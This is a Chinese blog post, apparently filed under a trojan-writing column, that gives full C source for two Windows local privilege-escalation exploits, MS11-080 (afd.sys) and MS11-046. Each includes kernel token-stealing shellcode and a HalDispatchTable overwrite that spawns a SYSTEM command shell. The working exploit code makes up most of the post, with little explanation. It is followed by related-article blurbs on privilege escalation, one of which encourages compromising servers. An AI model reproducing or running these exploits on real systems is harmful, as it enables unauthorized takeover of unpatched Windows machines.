MS11-080、MS11-046两个提权代码

最新推荐文章于 2024-01-25 02:15:00 发布
最新推荐文章于 2024-01-25 02:15:00 发布
阅读量3k 收藏 2
点赞数
分类专栏： C++/VC++ 木马编写 文章标签： null socket module struct tcp windows 
* MS11-080 Afd.sys Privilege Escalation Exploit
* 来源：Matteo Memelli，http://www.exploit-db.com/exploits/18176/
* 改编：KiDebug，Google@pku.edu.cn
* 编译：VC6.0
* 测试环境：原版Windows XP SP3，Windows 2003 SP2，普通用户
*/
#include <stdio.h>
#include <Winsock2.h>
#include <windows.h>
#pragma comment (lib, "ws2_32.lib")
 
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section;                 // Not filled in
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR  FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
 
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
 
typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
NtQueryIntervalProfile_  NtQueryIntervalProfile;
NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
NtQuerySystemInformation_ NtQuerySystemInformation;
 
ULONG    PsInitialSystemProcess, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable;
 
void _declspec(naked) ShellCode()
{
__asm
{
pushad
pushfd
mov esi,PsReferencePrimaryToken
FindTokenOffset:
lodsb
cmp al, 8Dh;
jnz FindTokenOffset
mov edi,[esi+1]
mov esi,PsInitialSystemProcess
mov esi,[esi]
push fs:[124h]
mov eax,PsGetThreadProcess
call eax
add esi, edi
add edi, eax
movsd
popfd
popad
ret
}
}
 
void main( )
{
HMODULE  ntdll        =  GetModuleHandle( "ntdll.dll" );
NtQueryIntervalProfile    =  (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
NtAllocateVirtualMemory    =  (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
NtQuerySystemInformation  =  ( NtQuerySystemInformation_ )GetProcAddress( ntdll ,"NtQuerySystemInformation" );
if ( NtQueryIntervalProfile == NULL || NtAllocateVirtualMemory == NULL || NtQuerySystemInformation == NULL )
return;
 
ULONG    BaseAddress = 1 , RegionSize = 0x1000, status;
status = NtAllocateVirtualMemory( (HANDLE)0xFFFFFFFF, (PVOID*)&BaseAddress, 0, &RegionSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if ( status )
return;
 
//取ntoskrnl的信息，只要调用一次就行
ULONG  NtoskrnlBase;
RTL_PROCESS_MODULES  module;
status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
if ( status != 0xC0000004 )    //STATUS_INFO_LENGTH_MISMATCH
return;
 
NtoskrnlBase     =  (ULONG)module.Modules[0].ImageBase;
 
//把ntoskrnl.exe加载进来
HMODULE    ntoskrnl;
ntoskrnl    =    LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
if ( ntoskrnl == NULL )
return;
 
//计算实际地址
WriteToHalDispatchTable    =  (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4 + 2; //需要覆盖的地址
PsInitialSystemProcess    =  (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
PsReferencePrimaryToken    =  (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
PsGetThreadProcess      =  (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
 
//以下代码就各显神通了
if ( VirtualAlloc( (PVOID)0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ) == NULL )
return;
 
memset((PVOID)0x02070000,0x90,0x20000);
memcpy((PVOID)0x02080000,ShellCode,100);
 
WSADATA ws;
 
SOCKET tcp_socket;
struct sockaddr_in peer;
ULONG  dwReturnSize;
 
WSAStartup(0x0202,&ws);
 
peer.sin_family = AF_INET;
peer.sin_port = htons(4455);
peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );
 
tcp_socket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 
if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )
{
printf("connect errorn");
}
 
UCHAR  buf1[26]= "x41x41x41x41x42x42x42x42x00x00x00x00x44x44x44x44x01x00x00x00xe8x00x34xf0x00";
memset((PVOID)0x1000,0x45,0x108);
memcpy((PVOID)0x1000,buf1,25);
 
if(!DeviceIoControl((HANDLE)tcp_socket,0x000120bb, (PVOID)0x1004, 0x108, (PVOID)WriteToHalDispatchTable, 0x0,&dwReturnSize, NULL))
{
printf("error=%dn", GetLastError());
}
 
//触发，弹出SYSTEM的CMD
NtQueryIntervalProfile( 2, &status );
ShellExecute( NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);
return;
}






/* 触发MS11-046
* 来源：azy，http://hi.baidu.com/azy0922/blog/item/053065d197cebfca572c8492.html
* 改编：KiDebug，Google@pku.edu.cn
* 编译：VC6.0
* 测试环境：原版Windows XP SP3，Windows 2003 SP2，普通用户
*/
#include <stdio.h>
#include <Winsock2.h>
#include <windows.h>
#pragma comment (lib, "ws2_32.lib")
 
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section;                 // Not filled in
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR  FullPathName[ 256 ];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
 
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[ 1 ];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
 
typedef ULONG ( __stdcall *NtQueryIntervalProfile_ ) ( ULONG, PULONG );
typedef ULONG ( __stdcall *NtQuerySystemInformation_ ) ( ULONG, PVOID, ULONG, PULONG );
typedef ULONG ( __stdcall *NtAllocateVirtualMemory_ ) ( HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG );
NtQueryIntervalProfile_  NtQueryIntervalProfile;
NtAllocateVirtualMemory_ NtAllocateVirtualMemory;
NtQuerySystemInformation_ NtQuerySystemInformation;
 
ULONG    PsInitialSystemProcess, PsReferencePrimaryToken, PsGetThreadProcess, WriteToHalDispatchTable;
 
void _declspec(naked) ShellCode()
{
__asm
{
pushad
pushfd
mov esi,PsReferencePrimaryToken
FindTokenOffset:
lodsb
cmp al, 8Dh;
jnz FindTokenOffset
mov edi,[esi+1]
mov esi,PsInitialSystemProcess
mov esi,[esi]
push fs:[124h]
mov eax,PsGetThreadProcess
call eax
add esi, edi
add edi, eax
movsd
popfd
popad
ret
}
}
 
void main( )
{
HMODULE  ntdll        =  GetModuleHandle( "ntdll.dll" );
NtQueryIntervalProfile    =  (NtQueryIntervalProfile_)GetProcAddress( ntdll ,"NtQueryIntervalProfile" );
NtAllocateVirtualMemory    =  (NtAllocateVirtualMemory_)GetProcAddress( ntdll ,"NtAllocateVirtualMemory" );
NtQuerySystemInformation  =  ( NtQuerySystemInformation_ )GetProcAddress( ntdll ,"NtQuerySystemInformation" );
if ( NtQueryIntervalProfile == NULL || NtAllocateVirtualMemory == NULL || NtQuerySystemInformation == NULL )
return;
 
//取ntoskrnl的信息，只要调用一次就行
ULONG  status, NtoskrnlBase;
RTL_PROCESS_MODULES  module;
status = NtQuerySystemInformation( 11, &module, sizeof(RTL_PROCESS_MODULES), NULL);//SystemModuleInformation 11
if ( status != 0xC0000004 )    //STATUS_INFO_LENGTH_MISMATCH
return;
 
NtoskrnlBase     =  (ULONG)module.Modules[0].ImageBase;
 
//把ntoskrnl.exe加载进来
HMODULE    ntoskrnl;
ntoskrnl    =    LoadLibraryA( (LPCSTR)( module.Modules[0].FullPathName + module.Modules[0].OffsetToFileName ) );
if ( ntoskrnl == NULL )
return;
 
//计算实际地址
WriteToHalDispatchTable    =  (ULONG)GetProcAddress(ntoskrnl,"HalDispatchTable") - (ULONG)ntoskrnl + NtoskrnlBase + 4 + 2; //需要覆盖的地址
PsInitialSystemProcess    =  (ULONG)GetProcAddress(ntoskrnl,"PsInitialSystemProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
PsReferencePrimaryToken    =  (ULONG)GetProcAddress(ntoskrnl,"PsReferencePrimaryToken") - (ULONG)ntoskrnl + NtoskrnlBase;
PsGetThreadProcess      =  (ULONG)GetProcAddress(ntoskrnl,"PsGetThreadProcess") - (ULONG)ntoskrnl + NtoskrnlBase;
 
//以下代码就各显神通了
if ( VirtualAlloc( (PVOID)0x02070000, 0x20000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE ) == NULL )
return;
 
memset((PVOID)0x02070000,0x90,0x20000);
memcpy((PVOID)0x02080000,ShellCode,100);
 
WSADATA ws;
 
SOCKET tcp_socket;
struct sockaddr_in peer;
ULONG  dwReturnSize;
 
WSAStartup(0x0202,&ws);
 
peer.sin_family = AF_INET;
peer.sin_port = htons(0);
peer.sin_addr.s_addr = inet_addr( "127.0.0.1" );
 
tcp_socket = socket(AF_INET, SOCK_STREAM, 0);
 
if ( connect(tcp_socket, (struct sockaddr*) &peer, sizeof(struct sockaddr_in)) )
{
printf("connect errorn");
}
 
DWORD buf[0x30];
buf[3]=1;
buf[4]=0x20;
 
if(!DeviceIoControl((HANDLE)tcp_socket,0x12007, (PVOID)buf, 0x60, (PVOID)WriteToHalDispatchTable, 0x0,&dwReturnSize, NULL))
{
printf("error=%dn", GetLastError());
}
 
//触发，弹出SYSTEM的CMD
NtQueryIntervalProfile( 2, &status );
ShellExecute( NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);
return;
}


冷风
关注
专栏目录
提权----MS11-080
asstart的博客
11-18 1164
0x00简介 权限提升是渗透测试中必不可少的部分，当获取到一台用户权限比较低的机器时，可以根据打补丁的情况使用相关的提权脚本。MS11-080就是一款本地提权的脚本。微软与之发布的补丁编号为KB2592799 0x01提权准备 Win xp sp2（英文版） MS11-080.py 0x02提权过程 2.1查看相关系统补丁 systeminfo 没有此漏洞的补丁，证明可能存在漏洞 2.2先创建...
MS11-011漏洞分析
QEver的专栏
03-06 1479
<br /> <br />测试环境：Windows 7<br />测试工具：VMWare + Windbg + IDA<br /> <br />首先下载漏洞的利用程序，在虚拟机中测试一下，发现程序可以正常运行：<br /> <br />C:/>whoami q-test/qever C:/>poc C:/>whoami nt authority/system  <br />下面开始寻找漏洞的成因。<br />为了减少工作量，应该尽可能地确定漏洞产生的准确位置，在这里采用的方法是在poc的源代码的s
MS11-046 ms11-080 提权exploit
12-02
MS11-046 ms11-080 两个本地提权漏洞 c语言版本exp 看雪牛人写出来的代码！
MS11-080提权
weixin_30723433的博客
06-18 449
前提是你渗透进入了一台服务器 这是微软11年的第80个漏洞 每一个漏洞都有一个对应的kb（补丁） 这里我们直接在kali里面搜索 root@kali:~# searchsploit ms11-080 --------------------------------------- ---------------------------------------- Exploit ...
MS11-046
weixin_30561177的博客
12-06 173
/** 触发MS11-046* 来源：azy，http://hi.baidu.com/azy0922/blog/item/053065d197cebfca572c8492.html* 改编：KiDebug，Google@pku.edu.cn* 编译：VC6.0* 测试环境：原版Windows XP SP3，Windows 2003 SP2，普通用户 and webshell*/#incl...
深入分析MS11-058
12-02
MS11-058补丁主要针对两个漏洞进行了修复： 1. **未初始化内存的拒绝服务漏洞**：该漏洞影响Windows Server 2003和Windows Server 2008版本。 2. **NAPTR记录中的堆溢出**：仅影响Windows Server 2008。 在本文中...
Kali实战-提权
小水池
05-28 4620
本地提权 windows默认账号 user Administrator System #最高权限 关系图示： Linux默认账号 User Root ADMIN提权为SYSTEM 思路：利用windows中以system运行的程序进行操作，将系统提权 win xp、win2003 at 18:12(时间) /interactive cmd ...
【kali】29 提权—— 利用漏洞提权
(∪.∪ )...zzz的博客
11-27 7996
这里写自定义目录标题一、使用 Ms011-080 获取 WinXP 的 SYSTEM 权限1. Ms011-080 对应补丁 Kb25927992. kali集成了exploit3. 查看.py4. 生成.exe5. 运行exe提权成功二、Win7 使用 Ms14-068 获取 域控制器的权限1.win2003搭建域控制器2. 修改win2003域控制器的用户权限三、利用 CVE-2012-0056 提升 linux 权限 一、使用 Ms011-080 获取 WinXP 的 SYSTEM 权限 1. Ms0
网络攻防渗透测试-ms11-046 提权
网络安全领域优质创作者
11-05 884
http://10.11.1.73:8014/LICENSE/ http://10.11.1.73:8014/content/ http://10.11.1.73:8080/php/ http://10.11.1.73:8080/PHP/install/install.txt找到账号密码 groups Options勾选Personal disk space SitesOvidentiaFile upload configuration C:\wamp\www\PHP\...
MS11-46 MS11-80 0day提权EXP[K8team]
10-24
MS11-46/MS11-80本地提权 提醒论坛里面的朋友们，赶紧打补丁哦，一场服务器的沦陷又要开始了... python ms11-80.py -O 2k3 本人多台服务器测试成功。 EXP在附件
Windows 各种补丁
10-19
资源包里面含有x64位和x32位Windows系统的补丁，在安装一些工具的时候，你可能会需要一些补丁，这里面都有，很全面
Windows Wce认证过程&&MS11-080提权使用
永不垂头的博客
08-27 529
Windows Wce认证过程&&MS11-080提权使用 文章目录Windows Wce认证过程&&MS11-080提权使用一、Windows Wce认证过程1.Wce讲解过程2.Wec讲解使用3.Wec 获取明文密码二、MS11-080提权使用三、我的公众号 一、Windows Wce认证过程 1.Wce讲解过程 用新用户登录： 在win xp 上创建一个新的用户： 2.Wec讲解使用 因此我们需要解决以上问题，下一个.dll文件进行覆盖。下面用win7进行演示
（菜鸟自学）漏洞利用——MS11-080
最新发布
nbdlsplyb的博客
01-25 1069
MS11-080 是指微软于 2011 年发布的一个安全公告（MS11-080），其中包含了关于 Windows 操作系统中的一个漏洞的信息。该漏洞被称为“TrueType 字体解析器远程代码执行漏洞”（TrueType Font Parsing Remote Code Execution Vulnerability）。该漏洞存在于 Windows 操作系统中的 TrueType 字体解析器中，攻击者可以通过构造恶意的 TrueType 字体文件来利用此漏洞。
权限提升
weixin_43148062的博客
04-24 1834
什么是提权 提权的方式 系统漏洞提权 数据库提权 获取windows管理员账号 读取操作系统账户密码 获取浏览器中保存下来的密码 一、什么是提权 提权是指通过各种办法和漏洞，提高自己在服务器中的权限，以便控制全局。 windows：user >> administrator || system linux：user >> root 回到顶部 二、提权方式 系...
通过进程id获取用户名
pureman_mega的博客
12-24 915
可以看到，User name这一栏里面，有NT AUTHORITY\SYSTEM,NT AUTHORITY\LOCAL SERVICE,HKS\1909等。不同的用户名拥有不同的权限。下面的代码获取的用户名与ProcessHacker的结果有一点不同。在一个样本中看到的：通过进程id获取对应的用户名，来确定需要注入的目标进程。实际结果中SYSTEM对应的是HKS$(HKS是设备名称，后面跟着'$‘，来表示SYSTEM);其他的LOCAL SERVICE,1909是一样的。
管理员组获取系统权限的完美解决方案
05-01 1079
创建时间：2005-04-28文章属性：原创文章提交：suei8423 (suei8423_at_163.com)管理员组获取系统权限的完美解决方案Author : ZwelLBlog   : http://www.donews.net/zwellDate   : 2005.4.28    关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.小四哥就提
windows内核情景分析 --- 权限管理
maomao171314的专栏
04-04 1730
Windows系统是支持多用户的。每个文件可以设置一个访问控制表（即ACL），在ACL中规定每个用户、每个组对该文件的访问权限。不过，只有Ntfs文件系统中的文件才支持ACL。 （Ntfs文件系统中，每个文件的ACL是作为文件的一个附加属性保存在文件中的）。 不仅ntfs文件支持ACL机制，每个内核对象也支持ACL，不过内核对象的ACL保存在对象头部的安全属性字段中，只存在于内存，对象一销毁，
MS11-046提权源码分析
"这是一段关于Windows系统安全中的提权漏洞利用源码，主要涉及到MS11-046漏洞的利用方法。代码适用于VC6.0编译环境，且已验证可在Windows XP SP3和Windows 2003 SP2系统上运行。" 这段代码的核心是利用Windows系统...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值